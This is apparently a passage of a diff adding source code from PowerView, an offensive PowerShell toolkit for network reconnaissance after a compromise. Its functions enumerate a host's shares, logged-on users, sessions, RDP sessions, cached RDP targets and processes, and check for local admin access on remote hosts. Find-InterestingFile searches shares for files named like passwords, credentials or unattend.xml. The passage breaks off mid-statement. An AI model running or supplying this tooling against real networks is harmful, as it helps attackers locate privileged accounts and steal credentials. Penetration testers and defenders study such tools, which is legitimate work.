Add-Member Noteproperty 'SID' ((New-Object System.Security.Principal.SecurityIdentifier($_.GetType().InvokeMember('ObjectSID', 'GetProperty', $Null, $_, $Null),0)).Value) + + # if the account is local, check if it's disabled, if it's domain, always print $False + # TODO: fix this occasinal error? + $Member | Add-Member Noteproperty 'Disabled' $( if(-not $IsDomain) { try { $_.GetType().InvokeMember('AccountDisabled', 'GetProperty', $Null, $_, $Null) } catch { 'ERROR' } } else { $False } ) + + # check if the member is a group + $IsGroup = ($_.GetType().InvokeMember('Class', 'GetProperty', $Null, $_, $Null) -eq 'group') + $Member | Add-Member Noteproperty 'IsGroup' $IsGroup + $Member | Add-Member Noteproperty 'IsDomain' $IsDomain + if($IsGroup) { + $Member | Add-Member Noteproperty 'LastLogin' "" + } + else { + try { + $Member | Add-Member Noteproperty 'LastLogin' ( $_.GetType().InvokeMember('LastLogin', 'GetProperty', $Null, $_, $Null)) + } + catch { + $Member | Add-Member Noteproperty 'LastLogin' "" + } + } + $Member + + # if the result is a group domain object and we're recursing, + # try to resolve all the group member results + if($Recurse -and $IsDomain -and $IsGroup) { + + $FQDN = $Name.split("/")[0] + $GroupName = $Name.split("/")[1].trim() + + Get-NetGroupMember -GroupName $GroupName -Domain $FQDN -FullData -Recurse | ForEach-Object { + + $Member = New-Object PSObject + $Member | Add-Member Noteproperty 'Server' "$FQDN/$($_.GroupName)" + + $MemberDN = $_.distinguishedName + # extract the FQDN from the Distinguished Name + $MemberDomain = $MemberDN.subString($MemberDN.IndexOf("DC=")) -replace 'DC=','' -replace ',','.' + + if ($_.samAccountType -ne "805306368") { + $MemberIsGroup = $True + } + else { + $MemberIsGroup = $False + } + + if ($_.samAccountName) { + # forest users have the samAccountName set + $MemberName = $_.samAccountName + } + else { + try { + # external trust users have a SID, so convert it + try { + $MemberName = Convert-SidToName $_.cn + } + catch { + # if there's a problem contacting the domain to resolve the SID + $MemberName = $_.cn + } + } + catch { + Write-Debug "Error resolving SID : $_" + } + } + + $Member | Add-Member Noteproperty 'AccountName' "$MemberDomain/$MemberName" + $Member | Add-Member Noteproperty 'SID' $_.objectsid + $Member | Add-Member Noteproperty 'Disabled' $False + $Member | Add-Member Noteproperty 'IsGroup' $MemberIsGroup + $Member | Add-Member Noteproperty 'IsDomain' $True + $Member | Add-Member Noteproperty 'LastLogin' '' + $Member + } + } + } + } + } + catch { + Write-Warning "[!] Error: $_" + } + } + } +} + + +function Get-NetShare { +<# + .SYNOPSIS + + This function will execute the NetShareEnum Win32API call to query + a given host for open shares. This is a replacement for + "net share \\hostname" + + .PARAMETER ComputerName + + The hostname to query for shares. Also accepts IP addresses. + + .OUTPUTS + + SHARE_INFO_1 structure. A representation of the SHARE_INFO_1 + result structure which includes the name and note for each share. + + .EXAMPLE + + PS C:\> Get-NetShare + + Returns active shares on the local host. + + .EXAMPLE + + PS C:\> Get-NetShare -ComputerName sqlserver + + Returns active shares on the 'sqlserver' host +#> + + [CmdletBinding()] + param( + [Parameter(ValueFromPipeline=$True)] + [Alias('HostName')] + [String] + $ComputerName = 'localhost' + ) + + begin { + if ($PSBoundParameters['Debug']) { + $DebugPreference = 'Continue' + } + } + + process { + + # process multiple host object types from the pipeline + $ComputerName = Get-NameField -Object $ComputerName + + # arguments for NetShareEnum + $QueryLevel = 1 + $PtrInfo = [IntPtr]::Zero + $EntriesRead = 0 + $TotalRead = 0 + $ResumeHandle = 0 + + # get the share information + $Result = $Netapi32::NetShareEnum($ComputerName, $QueryLevel, [ref]$PtrInfo, -1, [ref]$EntriesRead, [ref]$TotalRead, [ref]$ResumeHandle) + + # Locate the offset of the initial intPtr + $Offset = $PtrInfo.ToInt64() + + Write-Debug "Get-NetShare result: $Result" + + # 0 = success + if (($Result -eq 0) -and ($Offset -gt 0)) { + + # Work out how mutch to increment the pointer by finding out the size of the structure + $Increment = $SHARE_INFO_1::GetSize() + + # parse all the result structures + for ($i = 0; ($i -lt $EntriesRead); $i++) { + # create a new int ptr at the given offset and cast + # the pointer as our result structure + $NewIntPtr = New-Object System.Intptr -ArgumentList $Offset + $Info = $NewIntPtr -as $SHARE_INFO_1 + # return all the sections of the structure + $Info | Select-Object * + $Offset = $NewIntPtr.ToInt64() + $Offset += $Increment + } + + # free up the result buffer + $Null = $Netapi32::NetApiBufferFree($PtrInfo) + } + else + { + switch ($Result) { + (5) {Write-Debug 'The user does not have access to the requested information.'} + (124) {Write-Debug 'The value specified for the level parameter is not valid.'} + (87) {Write-Debug 'The specified parameter is not valid.'} + (234) {Write-Debug 'More entries are available. Specify a large enough buffer to receive all entries.'} + (8) {Write-Debug 'Insufficient memory is available.'} + (2312) {Write-Debug 'A session does not exist with the computer name.'} + (2351) {Write-Debug 'The computer name is not valid.'} + (2221) {Write-Debug 'Username not found.'} + (53) {Write-Debug 'Hostname could not be found'} + } + } + } +} + + +function Get-NetLoggedon { +<# + .SYNOPSIS + + This function will execute the NetWkstaUserEnum Win32API call to query + a given host for actively logged on users. + + .PARAMETER ComputerName + + The hostname to query for logged on users. + + .OUTPUTS + + WKSTA_USER_INFO_1 structure. A representation of the WKSTA_USER_INFO_1 + result structure which includes the username and domain of logged on users. + + .EXAMPLE + + PS C:\> Get-NetLoggedon + + Returns users actively logged onto the local host. + + .EXAMPLE + + PS C:\> Get-NetLoggedon -ComputerName sqlserver + + Returns users actively logged onto the 'sqlserver' host. + + .LINK + + http://www.powershellmagazine.com/2014/09/25/easily-defining-enums-structs-and-win32-functions-in-memory/ +#> + + [CmdletBinding()] + param( + [Parameter(ValueFromPipeline=$True)] + [Alias('HostName')] + [String] + $ComputerName = 'localhost' + ) + + begin { + if ($PSBoundParameters['Debug']) { + $DebugPreference = 'Continue' + } + } + + process { + + # process multiple host object types from the pipeline + $ComputerName = Get-NameField -Object $ComputerName + + # Declare the reference variables + $QueryLevel = 1 + $PtrInfo = [IntPtr]::Zero + $EntriesRead = 0 + $TotalRead = 0 + $ResumeHandle = 0 + + # get logged on user information + $Result = $Netapi32::NetWkstaUserEnum($ComputerName, $QueryLevel, [ref]$PtrInfo, -1, [ref]$EntriesRead, [ref]$TotalRead, [ref]$ResumeHandle) + + # Locate the offset of the initial intPtr + $Offset = $PtrInfo.ToInt64() + + Write-Debug "Get-NetLoggedon result: $Result" + + # 0 = success + if (($Result -eq 0) -and ($Offset -gt 0)) { + + # Work out how mutch to increment the pointer by finding out the size of the structure + $Increment = $WKSTA_USER_INFO_1::GetSize() + + # parse all the result structures + for ($i = 0; ($i -lt $EntriesRead); $i++) { + # create a new int ptr at the given offset and cast + # the pointer as our result structure + $NewIntPtr = New-Object System.Intptr -ArgumentList $Offset + $Info = $NewIntPtr -as $WKSTA_USER_INFO_1 + + # return all the sections of the structure + $Info | Select-Object * + $Offset = $NewIntPtr.ToInt64() + $Offset += $Increment + + } + + # free up the result buffer + $Null = $Netapi32::NetApiBufferFree($PtrInfo) + } + else + { + switch ($Result) { + (5) {Write-Debug 'The user does not have access to the requested information.'} + (124) {Write-Debug 'The value specified for the level parameter is not valid.'} + (87) {Write-Debug 'The specified parameter is not valid.'} + (234) {Write-Debug 'More entries are available. Specify a large enough buffer to receive all entries.'} + (8) {Write-Debug 'Insufficient memory is available.'} + (2312) {Write-Debug 'A session does not exist with the computer name.'} + (2351) {Write-Debug 'The computer name is not valid.'} + (2221) {Write-Debug 'Username not found.'} + (53) {Write-Debug 'Hostname could not be found'} + } + } + } +} + + +function Get-NetSession { +<# + .SYNOPSIS + + This function will execute the NetSessionEnum Win32API call to query + a given host for active sessions on the host. + Heavily adapted from dunedinite's post on stackoverflow (see LINK below) + + .PARAMETER ComputerName + + The ComputerName to query for active sessions. + + .PARAMETER UserName + + The user name to filter for active sessions. + + .OUTPUTS + + SESSION_INFO_10 structure. A representation of the SESSION_INFO_10 + result structure which includes the host and username associated + with active sessions. + + .EXAMPLE + + PS C:\> Get-NetSession + + Returns active sessions on the local host. + + .EXAMPLE + + PS C:\> Get-NetSession -ComputerName sqlserver + + Returns active sessions on the 'sqlserver' host. + + .LINK + + http://www.powershellmagazine.com/2014/09/25/easily-defining-enums-structs-and-win32-functions-in-memory/ +#> + + [CmdletBinding()] + param( + [Parameter(ValueFromPipeline=$True)] + [Alias('HostName')] + [String] + $ComputerName = 'localhost', + + [String] + $UserName = '' + ) + + begin { + if ($PSBoundParameters['Debug']) { + $DebugPreference = 'Continue' + } + } + + process { + + # process multiple host object types from the pipeline + $ComputerName = Get-NameField -Object $ComputerName + + # arguments for NetSessionEnum + $QueryLevel = 10 + $PtrInfo = [IntPtr]::Zero + $EntriesRead = 0 + $TotalRead = 0 + $ResumeHandle = 0 + + # get session information + $Result = $Netapi32::NetSessionEnum($ComputerName, '', $UserName, $QueryLevel, [ref]$PtrInfo, -1, [ref]$EntriesRead, [ref]$TotalRead, [ref]$ResumeHandle) + + # Locate the offset of the initial intPtr + $Offset = $PtrInfo.ToInt64() + + Write-Debug "Get-NetSession result: $Result" + + # 0 = success + if (($Result -eq 0) -and ($Offset -gt 0)) { + + # Work out how mutch to increment the pointer by finding out the size of the structure + $Increment = $SESSION_INFO_10::GetSize() + + # parse all the result structures + for ($i = 0; ($i -lt $EntriesRead); $i++) { + # create a new int ptr at the given offset and cast + # the pointer as our result structure + $NewIntPtr = New-Object System.Intptr -ArgumentList $Offset + $Info = $NewIntPtr -as $SESSION_INFO_10 + + # return all the sections of the structure + $Info | Select-Object * + $Offset = $NewIntPtr.ToInt64() + $Offset += $Increment + + } + # free up the result buffer + $Null = $Netapi32::NetApiBufferFree($PtrInfo) + } + else + { + switch ($Result) { + (5) {Write-Debug 'The user does not have access to the requested information.'} + (124) {Write-Debug 'The value specified for the level parameter is not valid.'} + (87) {Write-Debug 'The specified parameter is not valid.'} + (234) {Write-Debug 'More entries are available. Specify a large enough buffer to receive all entries.'} + (8) {Write-Debug 'Insufficient memory is available.'} + (2312) {Write-Debug 'A session does not exist with the computer name.'} + (2351) {Write-Debug 'The computer name is not valid.'} + (2221) {Write-Debug 'Username not found.'} + (53) {Write-Debug 'Hostname could not be found'} + } + } + } +} + + +function Get-NetRDPSession { +<# + .SYNOPSIS + + This function will execute the WTSEnumerateSessionsEx and + WTSQuerySessionInformation Win32API calls to query a given + RDP remote service for active sessions and originating IPs. + This is a replacement for qwinsta. + + Note: only members of the Administrators or Account Operators local group + can successfully execute this functionality on a remote target. + + .PARAMETER ComputerName + + The hostname to query for active RDP sessions. + + .EXAMPLE + + PS C:\> Get-NetRDPSession + + Returns active RDP/terminal sessions on the local host. + + .EXAMPLE + + PS C:\> Get-NetRDPSession -ComputerName "sqlserver" + + Returns active RDP/terminal sessions on the 'sqlserver' host. +#> + + [CmdletBinding()] + param( + [Parameter(ValueFromPipeline=$True)] + [Alias('HostName')] + [String] + $ComputerName = 'localhost' + ) + + begin { + if ($PSBoundParameters['Debug']) { + $DebugPreference = 'Continue' + } + } + + process { + + # process multiple host object types from the pipeline + $ComputerName = Get-NameField -Object $ComputerName + + # open up a handle to the Remote Desktop Session host + $Handle = $Wtsapi32::WTSOpenServerEx($ComputerName) + + # if we get a non-zero handle back, everything was successful + if ($Handle -ne 0) { + + Write-Debug "WTSOpenServerEx handle: $Handle" + + # arguments for WTSEnumerateSessionsEx + $ppSessionInfo = [IntPtr]::Zero + $pCount = 0 + + # get information on all current sessions + $Result = $Wtsapi32::WTSEnumerateSessionsEx($Handle, [ref]1, 0, [ref]$ppSessionInfo, [ref]$pCount) + + # Locate the offset of the initial intPtr + $Offset = $ppSessionInfo.ToInt64() + + Write-Debug "WTSEnumerateSessionsEx result: $Result" + Write-Debug "pCount: $pCount" + + if (($Result -ne 0) -and ($Offset -gt 0)) { + + # Work out how mutch to increment the pointer by finding out the size of the structure + $Increment = $WTS_SESSION_INFO_1::GetSize() + + # parse all the result structures + for ($i = 0; ($i -lt $pCount); $i++) { + + # create a new int ptr at the given offset and cast + # the pointer as our result structure + $NewIntPtr = New-Object System.Intptr -ArgumentList $Offset + $Info = $NewIntPtr -as $WTS_SESSION_INFO_1 + + $RDPSession = New-Object PSObject + + if ($Info.pHostName) { + $RDPSession | Add-Member Noteproperty 'ComputerName' $Info.pHostName + } + else { + # if no hostname returned, use the specified hostname + $RDPSession | Add-Member Noteproperty 'ComputerName' $ComputerName + } + + $RDPSession | Add-Member Noteproperty 'SessionName' $Info.pSessionName + + if ($(-not $Info.pDomainName) -or ($Info.pDomainName -eq '')) { + # if a domain isn't returned just use the username + $RDPSession | Add-Member Noteproperty 'UserName' "$($Info.pUserName)" + } + else { + $RDPSession | Add-Member Noteproperty 'UserName' "$($Info.pDomainName)\$($Info.pUserName)" + } + + $RDPSession | Add-Member Noteproperty 'ID' $Info.SessionID + $RDPSession | Add-Member Noteproperty 'State' $Info.State + + $ppBuffer = [IntPtr]::Zero + $pBytesReturned = 0 + + # query for the source client IP with WTSQuerySessionInformation + # https://msdn.microsoft.com/en-us/library/aa383861(v=vs.85).aspx + $Result2 = $Wtsapi32::WTSQuerySessionInformation($Handle, $Info.SessionID, 14, [ref]$ppBuffer, [ref]$pBytesReturned) + + $Offset2 = $ppBuffer.ToInt64() + $NewIntPtr2 = New-Object System.Intptr -ArgumentList $Offset2 + $Info2 = $NewIntPtr2 -as $WTS_CLIENT_ADDRESS + + $SourceIP = $Info2.Address + if($SourceIP[2] -ne 0) { + $SourceIP = [String]$SourceIP[2]+"."+[String]$SourceIP[3]+"."+[String]$SourceIP[4]+"."+[String]$SourceIP[5] + } + else { + $SourceIP = $Null + } + + $RDPSession | Add-Member Noteproperty 'SourceIP' $SourceIP + $RDPSession + + # free up the memory buffer + $Null = $Wtsapi32::WTSFreeMemory($ppBuffer) + + $Offset += $Increment + } + # free up the memory result buffer + $Null = $Wtsapi32::WTSFreeMemoryEx(2, $ppSessionInfo, $pCount) + } + # Close off the service handle + $Null = $Wtsapi32::WTSCloseServer($Handle) + } + else { + # otherwise it failed - get the last error + # error codes - http://msdn.microsoft.com/en-us/library/windows/desktop/ms681382(v=vs.85).aspx + $Err = $Kernel32::GetLastError() + Write-Verbuse "LastError: $Err" + } + } +} + + +function Invoke-CheckLocalAdminAccess { +<# + .SYNOPSIS + + This function will use the OpenSCManagerW Win32API call to to establish + a handle to the remote host. If this succeeds, the current user context + has local administrator acess to the target. + + Idea stolen from the local_admin_search_enum post module in Metasploit written by: + 'Brandon McCann "zeknox" ' + 'Thomas McCarthy "smilingraccoon" ' + 'Royce Davis "r3dy" ' + + .PARAMETER ComputerName + + The hostname to query for active sessions. + + .OUTPUTS + + $True if the current user has local admin access to the hostname, $False otherwise + + .EXAMPLE + + PS C:\> Invoke-CheckLocalAdminAccess -ComputerName sqlserver + + Returns active sessions on the local host. + + .LINK + + https://github.com/rapid7/metasploit-framework/blob/master/modules/post/windows/gather/local_admin_search_enum.rb + http://www.powershellmagazine.com/2014/09/25/easily-defining-enums-structs-and-win32-functions-in-memory/ +#> + + [CmdletBinding()] + param( + [Parameter(ValueFromPipeline=$True)] + [String] + [Alias('HostName')] + $ComputerName = 'localhost' + ) + + begin { + if ($PSBoundParameters['Debug']) { + $DebugPreference = 'Continue' + } + } + + process { + + # process multiple host object types from the pipeline + $ComputerName = Get-NameField -Object $ComputerName + + # 0xF003F - SC_MANAGER_ALL_ACCESS + # http://msdn.microsoft.com/en-us/library/windows/desktop/ms685981(v=vs.85).aspx + $Handle = $Advapi32::OpenSCManagerW("\\$ComputerName", 'ServicesActive', 0xF003F) + + Write-Debug "Invoke-CheckLocalAdminAccess handle: $Handle" + + # if we get a non-zero handle back, everything was successful + if ($Handle -ne 0) { + # Close off the service handle + $Null = $Advapi32::CloseServiceHandle($Handle) + $True + } + else { + # otherwise it failed - get the last error + # error codes - http://msdn.microsoft.com/en-us/library/windows/desktop/ms681382(v=vs.85).aspx + $Err = $Kernel32::GetLastError() + Write-Debug "Invoke-CheckLocalAdminAccess LastError: $Err" + $False + } + } +} + + +function Get-LastLoggedOn { +<# + .SYNOPSIS + + This function uses remote registry functionality to return + the last user logged onto a target machine. + + Note: This function requires administrative rights on the + machine you're enumerating. + + .PARAMETER ComputerName + + The hostname to query for the last logged on user. + Defaults to the localhost. + + .EXAMPLE + + PS C:\> Get-LastLoggedOn + + Returns the last user logged onto the local machine. + + .EXAMPLE + + PS C:\> Get-LastLoggedOn -ComputerName WINDOWS1 + + Returns the last user logged onto WINDOWS1 +#> + + [CmdletBinding()] + param( + [Parameter(ValueFromPipeline=$True)] + [String] + [Alias('HostName')] + $ComputerName = "." + ) + + process { + + # process multiple host object types from the pipeline + $ComputerName = Get-NameField -Object $ComputerName + + # try to open up the remote registry key to grab the last logged on user + try { + $Reg = [WMIClass]"\\$ComputerName\root\default:stdRegProv" + $HKLM = 2147483650 + $Key = "SOFTWARE\Microsoft\Windows\CurrentVersion\Authentication\LogonUI" + $Value = "LastLoggedOnUser" + $Reg.GetStringValue($HKLM, $Key, $Value).sValue + } + catch { + Write-Warning "[!] Error opening remote registry on $ComputerName. Remote registry likely not enabled." + $Null + } + } +} + + +function Get-CachedRDPConnection { +<# + .SYNOPSIS + + Uses remote registry functionality to query all entries for the + "Windows Remote Desktop Connection Client" on a machine, separated by + user and target server. + + Note: This function requires administrative rights on the + machine you're enumerating. + + .PARAMETER ComputerName + + The hostname to query for RDP client information. + Defaults to localhost. + + .PARAMETER RemoteUserName + + The "domain\username" to use for the WMI call on the remote system. + If supplied, 'RemotePassword' must be supplied as well. + + .PARAMETER RemotePassword + + The password to use for the WMI call on a remote system. + + .EXAMPLE + + PS C:\> Get-CachedRDPConnection + + Returns the RDP connection client information for the local machine. + + .EXAMPLE + + PS C:\> Get-CachedRDPConnection -ComputerName WINDOWS2.testlab.local + + Returns the RDP connection client information for the WINDOWS2.testlab.local machine + + .EXAMPLE + + PS C:\> Get-CachedRDPConnection -ComputerName WINDOWS2.testlab.local -RemoteUserName DOMAIN\user -RemotePassword Password123! + + Returns the RDP connection client information for the WINDOWS2.testlab.local machine using alternate credentials. +#> + + [CmdletBinding()] + param( + [Parameter(ValueFromPipeline=$True)] + [String] + $ComputerName = "localhost", + + [String] + $RemoteUserName, + + [String] + $RemotePassword + ) + + begin { + if ($RemoteUserName -and $RemotePassword) { + $Password = $RemotePassword | ConvertTo-SecureString -AsPlainText -Force + $Credential = New-Object System.Management.Automation.PSCredential($RemoteUserName,$Password) + } + + # HKEY_USERS + $HKU = 2147483651 + } + + process { + + try { + if($Credential) { + $Reg = Get-Wmiobject -List 'StdRegProv' -Namespace root\default -Computername $ComputerName -Credential $Credential -ErrorAction SilentlyContinue + } + else { + $Reg = Get-Wmiobject -List 'StdRegProv' -Namespace root\default -Computername $ComputerName -ErrorAction SilentlyContinue + } + } + catch { + Write-Warning "Error accessing $ComputerName, likely insufficient permissions or firewall rules on host" + } + + if(!$Reg) { + Write-Warning "Error accessing $ComputerName, likely insufficient permissions or firewall rules on host" + } + else { + # extract out the SIDs of domain users in this hive + $UserSIDs = ($Reg.EnumKey($HKU, "")).sNames | ? { $_ -match 'S-1-5-21-[0-9]+-[0-9]+-[0-9]+-[0-9]+$' } + + foreach ($UserSID in $UserSIDs) { + + try { + $UserName = Convert-SidToName $UserSID + + # pull out all the cached RDP connections + $ConnectionKeys = $Reg.EnumValues($HKU,"$UserSID\Software\Microsoft\Terminal Server Client\Default").sNames + + foreach ($Connection in $ConnectionKeys) { + # make sure this key is a cached connection + if($Connection -match 'MRU.*') { + $TargetServer = $Reg.GetStringValue($HKU, "$UserSID\Software\Microsoft\Terminal Server Client\Default", $Connection).sValue + + $FoundConnection = New-Object PSObject + $FoundConnection | Add-Member Noteproperty 'ComputerName' $ComputerName + $FoundConnection | Add-Member Noteproperty 'UserName' $UserName + $FoundConnection | Add-Member Noteproperty 'UserSID' $UserSID + $FoundConnection | Add-Member Noteproperty 'TargetServer' $TargetServer + $FoundConnection | Add-Member Noteproperty 'UsernameHint' $Null + $FoundConnection + } + } + + # pull out all the cached server info with username hints + $ServerKeys = $Reg.EnumKey($HKU,"$UserSID\Software\Microsoft\Terminal Server Client\Servers").sNames + + foreach ($Server in $ServerKeys) { + + $UsernameHint = $Reg.GetStringValue($HKU, "$UserSID\Software\Microsoft\Terminal Server Client\Servers\$Server", 'UsernameHint').sValue + + $FoundConnection = New-Object PSObject + $FoundConnection | Add-Member Noteproperty 'ComputerName' $ComputerName + $FoundConnection | Add-Member Noteproperty 'UserName' $UserName + $FoundConnection | Add-Member Noteproperty 'UserSID' $UserSID + $FoundConnection | Add-Member Noteproperty 'TargetServer' $Server + $FoundConnection | Add-Member Noteproperty 'UsernameHint' $UsernameHint + $FoundConnection + } + + } + catch { + Write-Debug "Error: $_" + } + } + } + } +} + + +function Get-NetProcess { +<# + .SYNOPSIS + + Gets a list of processes/owners on a remote machine. + + .PARAMETER ComputerName + + The hostname to query processes. Defaults to the local host name. + + .PARAMETER RemoteUserName + + The "domain\username" to use for the WMI call on a remote system. + If supplied, 'RemotePassword' must be supplied as well. + + .PARAMETER RemotePassword + + The password to use for the WMI call on a remote system. + + .EXAMPLE + + PS C:\> Get-NetProcess -ComputerName WINDOWS1 + + Returns the current processes for WINDOWS1 +#> + + [CmdletBinding()] + param( + [Parameter(ValueFromPipeline=$True)] + [String] + $ComputerName, + + [String] + $RemoteUserName, + + [String] + $RemotePassword + ) + + process { + + if($ComputerName) { + # process multiple host object types from the pipeline + $ComputerName = Get-NameField -Object $ComputerName + } + else { + # default to the local hostname + $ComputerName = [System.Net.Dns]::GetHostName() + } + + $Credential = $Null + + if($RemoteUserName) { + if($RemotePassword) { + $Password = $RemotePassword | ConvertTo-SecureString -AsPlainText -Force + $Credential = New-Object System.Management.Automation.PSCredential($RemoteUserName,$Password) + + # try to enumerate the processes on the remote machine using the supplied credential + try { + Get-WMIobject -Class Win32_process -ComputerName $ComputerName -Credential $Credential | ForEach-Object { + $Owner = $_.getowner(); + $Process = New-Object PSObject + $Process | Add-Member Noteproperty 'ComputerName' $ComputerName + $Process | Add-Member Noteproperty 'ProcessName' $_.ProcessName + $Process | Add-Member Noteproperty 'ProcessID' $_.ProcessID + $Process | Add-Member Noteproperty 'Domain' $Owner.Domain + $Process | Add-Member Noteproperty 'User' $Owner.User + $Process + } + } + catch { + Write-Verbose "[!] Error enumerating remote processes, access likely denied: $_" + } + } + else { + Write-Warning "[!] RemotePassword must also be supplied!" + } + } + else { + # try to enumerate the processes on the remote machine + try { + Get-WMIobject -Class Win32_process -ComputerName $ComputerName | ForEach-Object { + $Owner = $_.getowner(); + $Process = New-Object PSObject + $Process | Add-Member Noteproperty 'ComputerName' $ComputerName + $Process | Add-Member Noteproperty 'ProcessName' $_.ProcessName + $Process | Add-Member Noteproperty 'ProcessID' $_.ProcessID + $Process | Add-Member Noteproperty 'Domain' $Owner.Domain + $Process | Add-Member Noteproperty 'User' $Owner.User + $Process + } + } + catch { + Write-Verbose "[!] Error enumerating remote processes, access likely denied: $_" + } + } + } +} + + +function Find-InterestingFile { +<# + .SYNOPSIS + + This function recursively searches a given UNC path for files with + specific keywords in the name (default of pass, sensitive, secret, admin, + login and unattend*.xml). The output can be piped out to a csv with the + -OutFile flag. By default, hidden files/folders are included in search results. + + .PARAMETER Path + + UNC/local path to recursively search. + + .PARAMETER Terms + + Terms to search for. + + .PARAMETER OfficeDocs + + Switch. Search for office documents (*.doc*, *.xls*, *.ppt*) + + .PARAMETER FreshEXEs + + Switch. Find .EXEs accessed within the last week. + + .PARAMETER LastAccessTime + + Only return files with a LastAccessTime greater than this date value. + + .PARAMETER LastWriteTime + + Only return files with a LastWriteTime greater than this date value. + + .PARAMETER CreationTime + + Only return files with a CreationTime greater than this date value. + + .PARAMETER ExcludeFolders + + Switch. Exclude folders from the search results. + + .PARAMETER ExcludeHidden + + Switch. Exclude hidden files and folders from the search results. + + .PARAMETER CheckWriteAccess + + Switch. Only returns files the current user has write access to. + + .PARAMETER OutFile + + Output results to a specified csv output file. + + .PARAMETER UsePSDrive + + Switch. Mount target remote path with temporary PSDrives. + + .PARAMETER Credential + + Credential to use to mount the PSDrive for searching. + + .OUTPUTS + + The full path, owner, lastaccess time, lastwrite time, and size for each found file. + + .EXAMPLE + + PS C:\> Find-InterestingFile -Path C:\Backup\ + + Returns any files on the local path C:\Backup\ that have the default + search term set in the title. + + .EXAMPLE + + PS C:\> Find-InterestingFile -Path \\WINDOWS7\Users\ -Terms salaries,email -OutFile out.csv + + Returns any files on the remote path \\WINDOWS7\Users\ that have 'salaries' + or 'email' in the title, and writes the results out to a csv file + named 'out.csv' + + .EXAMPLE + + PS C:\> Find-InterestingFile -Path \\WINDOWS7\Users\ -LastAccessTime (Get-Date).AddDays(-7) + + Returns any files on the remote path \\WINDOWS7\Users\ that have the default + search term set in the title and were accessed within the last week. + + .LINK + + http://www.harmj0y.net/blog/redteaming/file-server-triage-on-red-team-engagements/ +#> + + [CmdletBinding()] + param( + [Parameter(ValueFromPipeline=$True)] + [String] + $Path = '.\', + + [String[]] + $Terms, + + [Switch] + $OfficeDocs, + + [Switch] + $FreshEXEs, + + [String] + $LastAccessTime, + + [String] + $LastWriteTime, + + [String] + $CreationTime, + + [Switch] + $ExcludeFolders, + + [Switch] + $ExcludeHidden, + + [Switch] + $CheckWriteAccess, + + [String] + $OutFile, + + [Switch] + $UsePSDrive, + + [System.Management.Automation.PSCredential] + $Credential = [System.Management.Automation.PSCredential]::Empty + ) + + begin { + # default search terms + $SearchTerms = @('pass', 'sensitive', 'admin', 'login', 'secret', 'unattend*.xml', '.vmdk', 'creds', 'credential', '.config') + + if(!$Path.EndsWith('\')) { + $Path = $Path + '\' + } + if($Credential -ne [System.Management.Automation.PSCredential]::Empty) { $UsePSDrive = $True } + + # check if custom search terms were passed + if ($Terms) { + if($Terms -isnot [system.array]) { + $Terms = @($Terms) + } + $SearchTerms = $Terms + } + + if(-not $SearchTerms[0].startswith("*")) { + # append wildcards to the front and back of all search terms + for ($i = 0; $i -lt $SearchTerms.Count; $i++) { + $SearchTerms[$i] = "*$($SearchTerms[$i])*" + } + } + + # search just for office documents if specified + if ($OfficeDocs) { + $SearchTerms = @('*.doc', '*.docx', '*.xls', '*.xlsx', '*.ppt', '*.pptx') + } + + # find .exe's accessed within the last 7 days + if($FreshEXEs) { + # get an access time limit of 7 days ago + $LastAccessTime = (get-date).AddDays(-7).ToString('MM/dd/yyyy') + $SearchTerms = '*.exe' + } + + if($UsePSDrive) { + # if we're PSDrives, create a temporary mount point + $Parts = $Path.split('\') + $FolderPath = $Parts[0..($Parts.length-2)] -join '\' + $FilePath = $Parts[-1] + $RandDrive = ("abcdefghijklmnopqrstuvwxyz".ToCharArray() | Get-Random -Count 7) -join '' + + Write-Verbose "Mounting path $Path using a temp PSDrive at $RandDrive" + + try { + $Null = New-PSDrive -Name $RandDrive -Credential $Credential -PSProvider FileSystem -Root $FolderPath -ErrorAction Stop + } + catch { + Write-Debug "Error mounting path $Path : $_" + return $Null + } + + # so we can cd/dir the new drive + $Path = $RandDrive + ":\" + $FilePath + } + } + + process { + + Write-Verbose "[*] Search path $Path" + + function Invoke-CheckWrite { + # short helper to check is the current user can write to a file + [CmdletBinding()]param([String]$Path) + try { + $Filetest = [IO.FILE]::OpenWrite($Path) + $Filetest.Close() + $True + } + catch { + Write-Verbose -Message $Error[0] + $False + } + } + + $SearchArgs = @{ + 'Path' = $Path + 'Recurse' = $True + 'Force' = $(-not $ExcludeHidden) + 'Include' = $SearchTerms + 'ErrorAction' = 'SilentlyContinue' + } + + Get-ChildItem @SearchArgs | ForEach-Object { + Write-Verbose $_ + # check if we're excluding folders + if(!$ExcludeFolders -or !$_.PSIsContainer) {$_} + } | ForEach-Object { + if($LastAccessTime -or $LastWriteTime -or $CreationTime) { + if($LastAccessTime -and ($_.LastAccessTime -gt $LastAccessTime)) {$_} + elseif($LastWriteTime -and ($_.LastWriteTime -gt $LastWriteTime)) {$_} + elseif($CreationTime -and ($_.CreationTime -gt $CreationTime)) {$_} + } + else {$_} + } | ForEach-Object { + # filter for write access (if applicable) + if((-not $CheckWriteAccess) -or (Invoke-CheckWrite -Path $_.FullName)) {$_} + } | Select-Object FullName,@{Name='Owner';Expression={(Get-Acl $_.FullName).Owner}},LastAccessTime,LastWriteTime,CreationTime,Length | ForEach-Object { + # check if we're outputting to the pipeline or an output file + if($OutFile) {Export-PowerViewCSV -InputObject $_ -OutFile $OutFile} + else {$_} + } + } + + end { + if($UsePSDrive -and $RandDrive) { + Write-Verbose "Removing temp PSDrive $RandDrive" + Get-PSDrive -Name $RandDrive -ErrorAction SilentlyContinue | Remove-PSDrive + } + } +} + + +######################################################## +# +# 'Meta'-functions start below +# +######################################################## + +function Invoke-ThreadedFunction { + # Helper used by any threaded host enumeration functions + [CmdletBinding()] + param( + [Parameter(Position=0,Mandatory=$True)] + [String[]] + $ComputerName, + + [Parameter(Position=1,Mandatory=$True)] + [System.Management.Automation.ScriptBlock] + $ScriptBlock, + + [Parameter(Position=2)] + [Hashtable] + $ScriptParameters, + + [Int] + $Threads = 20, + + [Switch] + $NoImports + ) + + begin { + + if ($PSBoundParameters['Debug']) { + $DebugPreference = 'Continue' + } + + Write-Verbose "[*] Total number of hosts: $($ComputerName.count)" + + # Adapted from: + # http://powershell.org/wp/forums/topic/invpke-parallel-need-help-to-clone-the-current-runspace/ + $SessionState = [System.Management.Automation.Runspaces.InitialSessionState]::CreateDefault() + $SessionState.ApartmentState = [System.Threading.Thread]::CurrentThread.GetApartmentState() + + # import the current session state's variables and functions so the chained PowerView + # functionality can be used by the threaded blocks + if(!$NoImports) { + + # grab all the current variables for this runspace + $MyVars = Get-Variable -Scope 2 + + # these Variables are added by Runspace.Open() Method and produce Stop errors if you add them twice + $VorbiddenVars = 